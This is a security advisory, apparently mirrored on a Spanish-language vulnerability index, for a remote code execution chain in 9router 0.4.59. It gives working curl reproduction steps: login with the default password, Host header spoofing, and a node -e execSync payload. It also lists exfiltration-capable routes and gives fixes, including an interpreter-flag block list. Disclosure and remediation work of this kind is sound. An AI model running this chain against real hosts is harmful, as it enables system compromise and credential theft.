GHSA-4922-8R65-FQ26
Authenticated Remote Code Execution via Host Header Bypass and Unvalidated MCP Plugin Arguments
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.4.62 | 9router · -38 d desde divulgación | |
| Divulgación | Publicada | GHSA-4922-8R65-FQ26 divulgada · CVSS 9.9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
9router v0.4.59 contains a chain of vulnerabilities that allows a remote, unauthenticated attacker to achieve arbitrary code execution on the host operating system. The chain combines three weaknesses: a publicly known default password that authenticates any fresh installation, a Host header spoofing bypass of the local-only network gate, and unvalidated arguments passed directly to `child_process.spawn()` when registering MCP plugins. No interaction from the legitimate operator is required.
Root Causes
Bug A — Default Password (`src/app/api/auth/login/route.js`)
The login handler falls back to the hardcoded password `123456` when no password hash exists in the database:
const storedHash = settings?.passwordHash || null;
if (!storedHash) {
const defaultPwd = process.env.INITIAL_PASSWORD || "123456";
// compares against this default
}Every fresh installation is authenticatable with the publicly known credential `123456` until the operator explicitly sets a password through the UI.
Bug B — LOCAL_ONLY Gate Bypass via Host Header (`src/dashboardGuard.js`)
The middleware enforces a `LOCAL_ONLY_PATHS` list — routes that should only be reachable from the machine running 9router. It does this by calling `isLocalRequest()`, which trusts only the client-supplied `Host` header:
function isLocalRequest(request) {
if (!isLoopbackHostname(request.headers.get("host"))) return false;
const origin = request.headers.get("origin");
if (origin) {
try {
if (!isLoopbackHostname(new URL(origin).hostname)) return false;
} catch { return false; }
}
return true;
}A remote attacker sending `Host: localhost:20128` with no `Origin` header passes this check regardless of their actual IP address. The following routes are behind this gate:
/api/cli-tools/cowork-settings ← MCP plugin registration
/api/cli-tools/antigravity-mitm ← LLM traffic redirect
/api/mcp/ ← MCP spawn trigger
/api/tunnel/tailscale-* ← Tailscale installation and control
/api/oauth/cursor/auto-import ← Cursor IDE token exfiltration
/api/oauth/kiro/auto-import ← Kiro AWS SSO token exfiltrationBug C — Unvalidated MCP Plugin Arguments (`src/app/api/cli-tools/cowork-settings/route.js`)
The `customPlugins` field accepts a `command` and `args` array. The code validates that `command` is in an allowlist (`node`, `npx`, `python`, `uvx`, etc.), but applies no validation to `args`:
const stdioCustoms = customPluginsArray
.filter((p) => ALLOWED_MCP_COMMANDS.has(path.basename(p.command)))
.map((p) => ({
name: ...,
command: p.command,
args: Array.isArray(p.args) ? p.args.map(String) : [], // no validation
}));`node` is an allowed command. Passing `["-e", "<arbitrary JavaScript>"]` as args results in `spawn("node", ["-e", "<payload>"])` — executing arbitrary code when the SSE endpoint is hit.
Attack Flow
Step 1: POST /api/auth/login {"password":"123456"}
→ Returns JWT cookie (Bug A: default credential)
Step 2: POST /api/cli-tools/cowork-settings
Host: localhost:20128 ← Bug B: HOST bypass
Cookie: auth_token=<JWT>
Body: customPlugins with node -e <payload>
→ Plugin registered (Bug C: args not validated)
Step 3: GET /api/mcp/<plugin>/sse
Host: localhost:20128 ← Bug B: HOST bypass
Cookie: auth_token=<JWT>
→ spawn("node", ["-e", "<payload>"]) executed on host OS---
Steps to Reproduce
Prerequisites: Network access to the 9router instance. A fresh install with the default password, or credentials obtained by other means.
Step 1 — Authenticate with the default password:
RESP=$(curl -si http://TARGET/api/auth/login \
-X POST -H "Content-Type: application/json" \
-d '{"password":"123456"}')
TOKEN=$(echo "$RESP" | grep -oi 'auth_token=[^;]*' | cut -d= -f2)
echo "JWT: $TOKEN"Step 2 — Register a malicious plugin using the Host header bypass:
curl -s http://TARGET/api/cli-tools/cowork-settings \
-X POST \
-H "Content-Type: application/json" \
-H "Host: localhost:20128" \
-H "Cookie: auth_token=$TOKEN" \
-d '{
"baseUrl":"http://localhost:20128",
"apiKey":"x",
"models":["gpt-4o"],
"plugins":[],"localPlugins":[],
"customPlugins":[{
"name":"poc9r",
"command":"node",
"args":["-e","require('\''child_process'\'').execSync('\''(id;hostname;date)>/tmp/rce.txt 2>&1'\'')"]
}]
}'Expected response: `{"success":true,...}`
Step 3 — Trigger execution via the SSE endpoint:
curl -s http://TARGET/api/mcp/poc9r/sse \
-H "Host: localhost:20128" \
-H "Cookie: auth_token=$TOKEN" \
--max-time 5Step 4 — Verify code execution:
cat /tmp/rce.txt
# Expected output: id, hostname, and date — proving OS command executionImpact
Primary Impact
- Arbitrary OS Command Execution on the host running 9router. Commands run as the process user (typically `root` in Docker deployments).
- Full Database Access — all stored API keys, model provider credentials, and operator settings are readable.
- Complete System Compromise — attacker can write files, install backdoors, exfiltrate data, or pivot to other services on the host network.
Secondary Impact (via related LOCAL_ONLY routes also unlocked by Bug B)
| Route | Impact |
|---|---|
| `/api/cli-tools/antigravity-mitm` | Silently redirects all LLM inference traffic (prompts + API keys) through an attacker-controlled server |
| `/api/oauth/cursor/auto-import` | Exfiltrates operator's Cursor IDE access token from `~/.config/Cursor/User/globalStorage/state.vscdb` |
| `/api/oauth/kiro/auto-import` | Exfiltrates operator's Kiro AWS SSO refresh token from `~/.aws/sso/cache/` |
| `/api/tunnel/tailscale-install` | Installs Tailscale on the host and joins it to an attacker Tailnet — persistent access that survives 9router being patched or stopped |
Recommended Fix
Fix 1 — Eliminate the default password:
Require the operator to set a password before accepting any authentication. Block all API access with a `503 Setup Required` response until a password hash is stored.
Fix 2 — Fix `isLocalRequest()` to check socket address, not Host header:
function isLocalRequest(request) {
// Use actual socket address, not client-supplied header
const ip = request.ip ?? request.headers.get("x-real-ip");
return ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1";
}Fix 3 — Validate MCP plugin arguments:
Deny interpreter flags that allow inline code execution:
const BLOCKED_ARG_PREFIXES = ["-e", "--eval", "-c", "--interactive", "-r", "--require"];
const safeArgs = p.args.filter(arg =>
!BLOCKED_ARG_PREFIXES.some(blocked => arg === blocked || arg.startsWith(blocked + "="))
);Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Versiones afectadas
0.4.59Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm9router |
Corregida | 0.4.62 | -38 d | 0.5.119 no afectada |
0.4.62Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/decolua/9router/security/advisories/GHSA-4922-8r65-fq26Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
